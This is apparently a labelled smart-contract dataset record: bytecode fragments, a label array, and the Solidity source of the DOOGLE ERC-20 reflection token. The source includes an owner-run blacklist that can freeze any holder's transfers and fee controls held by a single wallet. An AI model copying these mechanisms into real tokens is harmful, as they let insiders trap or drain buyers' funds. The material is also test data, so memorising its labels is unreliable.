60e31b60648201526084016107a5565b6001600160a01b03861660009081526002602052604081206001018054859290611fa4908490612a26565b90915550611fb490508284612b82565b925050505b8015612099576001546000906001600160a01b031615611fe4576001546001600160a01b0316611ff1565b6000546001600160a01b03165b90506000816001600160a01b03168360405160006040518083038185875af1925050503d8060008114612040576040519150601f19603f3d011682016040523d82523d6000602084013e612045565b606091505b50509050806120965760405162461bcd60e51b815260206004820152601f60248201527f6d61696e207061796d656e7420646964206e6f7420676f207468726f7567680060448201526064016107a5565b50505b814710156121015760405162461bcd60e51b815260206004820152602f60248201527f63616e6e6f742074616b652066726f6d20636f6e74726163742077686174207960448201526e1bdd48191a59081b9bdd081cd95b99608a1b60648201526084016107a5565b60405183815233907f357b676c439b9e49b4410f8eb8680bee4223724802d8e3fd422e1756f87b475f9060200160405180910390a25050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b82805461219990612bc5565b90600052602060002090601f0160209004810192826121bb5760008555612201565b82601f106121d457805160ff1916838001178555612201565b82800160010185558215612201579182015b828111156122015782518255916020019190600101906121e6565b5061220d929150612247565b5090565b50805461221d90612bc5565b6000825580601f1061222d575050565b601f016020900490600052602060002090810190611ce291905b5b8082111561220d5760008155600101612248565b80356001600160a01b038116811461227357600080fd5b919050565b600082601f830112612288578081fd5b8135602061229d61229883612a02565b6129d1565b80838252828201915082860187848660051b89010111156122bc578586fd5b855b858110156122da578135845292840192908401906001016122be565b5090979650505050505050565b600082601f8301126122f7578081fd5b813567ffffffffffffffff81111561231157612311612c47565b612324601f8201601f19166020016129d1565b818152846020838601011115612338578283fd5b816020850160208301379081016020019190915292915050565b805169ffffffffffffffffffff8116811461227357600080fd5b60006020828403121561237d578081fd5b610a898261225c565b60008060006060848603121561239a578182fd5b6123a38461225c565b92506123b16020850161225c565b9150604084013590509250925092565b600080604083850312156123d3578182fd5b6123dc8361225c565b915060208301356123ec81612c5d565b809150509250929050565b60008060006060848603121561240b578283fd5b6124148461225c565b9250602084013567ffffffffffffffff80821115612430578384fd5b61243c878388016122e7565b93506040860135915080821115612451578283fd5b5061245e868287016122e7565b9150509250925092565b60008060008060008060c08789031215612480578182fd5b6124898761225c565b9550602087013567ffffffffffffffff808211156124a5578384fd5b6124b18a838b016122e7565b965060408901359150808211156124c6578384fd5b506124d389828a016122e7565b94505060608701356124e481612c5d565b9250608087013591506124f960a0880161225c565b90509295509295509295565b60008060008060008060c0878903121561251d578182fd5b6125268761225c565b9550602087013567ffffffffffffffff80821115612542578384fd5b61254e8a838b016122e7565b96506040890135915080821115612563578384fd5b5061257089828a016122e7565b945050606087013561258181612c5d565b9598949750929560808101359460a0909101359350915050565b600080604083850312156125ad578182fd5b6125b68361225c565b946020939093013593505050565b600080604083850312156125d6578182fd5b823567ffffffffffffffff808211156125ed578384fd5b818501915085601f830112612600578384fd5b8135602061261061229883612a02565b8083825282820191508286018a848660051b890101111561262f578889fd5b8896505b84871015612658576126448161225c565b835260019690960195918301918301612633565b509650508601359250508082111561266e578283fd5b5061267b85828601612278565b9150509250929050565b600060208284031215612696578081fd5b8151610a8981612c5d565b6000602082840312156126b2578081fd5b5035919050565b6000602082840312156126ca578081fd5b5051919050565b6000602082840312156126e2578081fd5b813561ffff81168114610a89578182fd5b600080600080600060a0868803121561270a578283fd5b61271386612352565b945060208601519350604086015192506060860151915061273660808701612352565b90509295509295909350565b600060208284031215612753578081fd5b815160ff81168114610a89578182fd5b6000815180845261277b816020860160208601612b99565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff198460601b168152600083516127b9816014850160208801612b99565b8351908301906127d0816014840160208801612b99565b0160140195945050505050565b600082516127ef818460208701612b99565b9190910192915050565b6001600160a01b038416815260606020820181905260009061281d90830185612763565b828103604084015261282f8185612763565b9695505050505050565b6001600160a01b038716815260c06020820181905260009061285d90830188612763565b828103604084015261286f8188612763565b95151560608401525050608081019290925260a0909101529392505050565b6001600160a01b03851681526080602082018190526000906128b290830186612763565b82810360408401526128c48186612763565b91505082606083015295945050505050565b6020808252825182820181905260009190848201906040850190845b818110156129175783516001600160a01b0316835292840192918401916001016128f2565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156129175783518352928401929184019160010161293f565b60208082526021908201527f63616c6c6572206d75737420626520616666696c69617465206f72206f776e656040820152603960f91b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff811182821017156129fa576129fa612c47565b604052919050565b600067ffffffffffffffff821115612a1c57612a1c612c47565b5060051b60200190565b60008219821115612a3957612a39612c1b565b500190565b600061ffff80841680612a5357612a53612c31565b92169190910492915050565b600082612a6e57612a6e612c31565b500490565b600181815b80851115612aae578160001904821115612a9457612a94612c1b565b80851615612aa157918102915b93841c9390800290612a78565b509250929050565b6000610a8960ff841683600082612acf57506001612b5d565b81612adc57506000612b5d565b8160018114612af25760028114612afc57612b18565b6001915050612b5d565b60ff841115612b0d57612b0d612c1b565b50506001821b612b5d565b5060208310610133831016604e8410600b8410161715612b3b575081810a612b5d565b612b458383612a73565b8060001904821115612b5957612b59612c1b565b0290505b92915050565b6000816000190483118215151615612b7d57612b7d612c1b565b500290565b600082821015612b9457612b94612c1b565b500390565b60005b83811015612bb4578181015183820152602001612b9c565b83811115610c765750506000910152565b600181811c90821680612bd957607f821691505b60208210811415612bfa57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612c1457612c14612c1b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114611ce257600080fdfea164736f6c6343000804000a
[ 4, 11, 8, 12, 13, 16 ]
0xf25b7315461d4024ff7926a08ceb0e9a40b4b679
/* https://t.me/doogletoken https://doogle.tech */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DOOGLE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 150000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint8 private fee1=4; uint8 private fee2=5; uint256 private time; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "DOOGLE"; string private constant _symbol = "DOOGLE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(0x2fa369A03c4c621b3A41FE834F7753401207F6cd); _feeAddrWallet2 = payable(0xE1b8e3e948AB0244Db747cE0FEfF7E62F6EFb814); _feeAddrWallet3 = payable(0x6458a76a1c1A1dFd4663E2D3a5b91dac11885A69); _rOwned[address(this)] = _rTotal.div(1000).mul(995); _rOwned[0x2C9cF7A6a78f7e490DDa54e4df15F3BBDeE5864e] = _rTotal.div(1000).mul(5); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet3] = true; emit Transfer(address(0),address(this),_tTotal.div(1000).mul(995)); emit Transfer(address(0),address(0x2C9cF7A6a78f7e490DDa54e4df15F3BBDeE5864e),_tTotal.div(1000).mul(5)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function changeFees(uint8 _fee1,uint8 _fee2) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= 10 && _fee2 <= 10,"Cannot increase fees above 10%"); fee1 = _fee1; fee2 = _fee2; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = fee1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = fee2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(block.timestamp > time,"Sells prohibited for the first 5 minutes"); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(10).mul(5)); _feeAddrWallet2.transfer(amount.div(10).mul(3)); _feeAddrWallet3.transfer(amount.div(10).mul(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(3).div(100); tradingOpen = true; time = block.timestamp + (3 minutes); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function liftMaxTransaction() public onlyOwner(){ _maxTxAmount = _tTotal; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063aae1c07411610064578063aae1c07414610386578063b515566a146103af578063c3c8cd80146103d8578063c9567bf9146103ef578063dd62ed3e146104065761011f565b8063715018a6146102c55780638da5cb5b146102dc578063950406c31461030757806395d89b411461031e578063a9059cbb146103495761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190612e9e565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906129ae565b610480565b6040516101839190612e83565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae9190613040565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061295f565b6104ac565b6040516101eb9190612e83565b60405180910390f35b34801561020057600080fd5b5061021b600480360381019061021691906128d1565b610585565b005b34801561022957600080fd5b50610232610675565b60405161023f91906130b5565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612a2b565b61067e565b005b34801561027d57600080fd5b50610286610730565b005b34801561029457600080fd5b506102af60048036038101906102aa91906128d1565b6107a2565b6040516102bc9190613040565b60405180910390f35b3480156102d157600080fd5b506102da6107f3565b005b3480156102e857600080fd5b506102f1610946565b6040516102fe9190612db5565b60405180910390f35b34801561031357600080fd5b5061031c61096f565b005b34801561032a57600080fd5b50610333610a13565b6040516103409190612e9e565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b91906129ae565b610a50565b60405161037d9190612e83565b60405180910390f35b34801561039257600080fd5b506103ad60048036038101906103a89190612acc565b610a6e565b005b3480156103bb57600080fd5b506103d660048036038101906103d191906129ea565b610b60565b005b3480156103e457600080fd5b506103ed610cb0565b005b3480156103fb57600080fd5b50610404610d2a565b005b34801561041257600080fd5b5061042d60048036038101906104289190612923565b6112ba565b60405161043a9190613040565b60405180910390f35b60606040518060400160405280600681526020017f444f4f474c450000000000000000000000000000000000000000000000000000815250905090565b600061049461048d611406565b848461140e565b6001905092915050565b600065886c98b76000905090565b60006104b98484846115d9565b61057a846104c5611406565b610575856040518060600160405280602881526020016137b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052b611406565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c449092919063ffffffff16565b61140e565b600190509392505050565b61058d611406565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061190612fa0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610686611406565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070a90612fa0565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610771611406565b73ffffffffffffffffffffffffffffffffffffffff161461079157600080fd5b600047905061079f81611ca8565b50565b60006107ec600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e58565b9050919050565b6107fb611406565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610888576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087f90612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610977611406565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb90612fa0565b60405180910390fd5b65886c98b76000601381905550565b60606040518060400160405280600681526020017f444f4f474c450000000000000000000000000000000000000000000000000000815250905090565b6000610a64610a5d611406565b84846115d9565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610aaf611406565b73ffffffffffffffffffffffffffffffffffffffff1614610acf57600080fd5b600a8260ff1611158015610ae75750600a8160ff1611155b610b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d90612f60565b60405180910390fd5b81600c60006101000a81548160ff021916908360ff16021790555080600c60016101000a81548160ff021916908360ff1602179055505050565b610b68611406565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90612fa0565b60405180910390fd5b60005b8151811015610cac57600160066000848481518110610c40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca490613356565b915050610bf8565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cf1611406565b73ffffffffffffffffffffffffffffffffffffffff1614610d1157600080fd5b6000610d1c306107a2565b9050610d2781611ec6565b50565b610d32611406565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690612fa0565b60405180910390fd5b601260149054906101000a900460ff1615610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690613020565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9c30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1665886c98b7600061140e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee257600080fd5b505afa158015610ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1a91906128fa565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7c57600080fd5b505afa158015610f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb491906128fa565b6040518363ffffffff1660e01b8152600401610fd1929190612dd0565b602060405180830381600087803b158015610feb57600080fd5b505af1158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128fa565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ac306107a2565b6000806110b7610946565b426040518863ffffffff1660e01b81526004016110d996959493929190612e22565b6060604051808303818588803b1580156110f257600080fd5b505af1158015611106573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112b9190612a7d565b5050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff0219169083151502179055506111916064611183600365886c98b7600061138b90919063ffffffff16565b61134190919063ffffffff16565b6013819055506001601260146101000a81548160ff02191690831515021790555060b4426111bf9190613176565b600d81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611264929190612df9565b602060405180830381600087803b15801561127e57600080fd5b505af1158015611292573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b69190612a54565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061138383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121c0565b905092915050565b60008083141561139e5760009050611400565b600082846113ac91906131fd565b90508284826113bb91906131cc565b146113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f290612f80565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147590613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590612f20565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115cc9190613040565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090612ee0565b60405180910390fd5b600081116116fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f390612fc0565b60405180910390fd5b6002600a81905550600c60009054906101000a900460ff1660ff16600b81905550611725610946565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117935750611763610946565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c3457600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561183c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61184557600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118f05750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119465750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561195e5750601260179054906101000a900460ff165b15611a0e5760135481111561197257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119bd57600080fd5b601e426119ca9190613176565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ab95750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b0f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b36576001600a81905550600c60019054906101000a900460ff1660ff16600b819055505b6000611b41306107a2565b9050601260159054906101000a900460ff16158015611bae5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bc65750601260169054906101000a900460ff165b15611c3257600d544211611c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0690612ec0565b60405180910390fd5b611c1881611ec6565b60004790506000811115611c3057611c2f47611ca8565b5b505b505b611c3f838383612223565b505050565b6000838311158290611c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c839190612e9e565b60405180910390fd5b5060008385611c9b9190613257565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167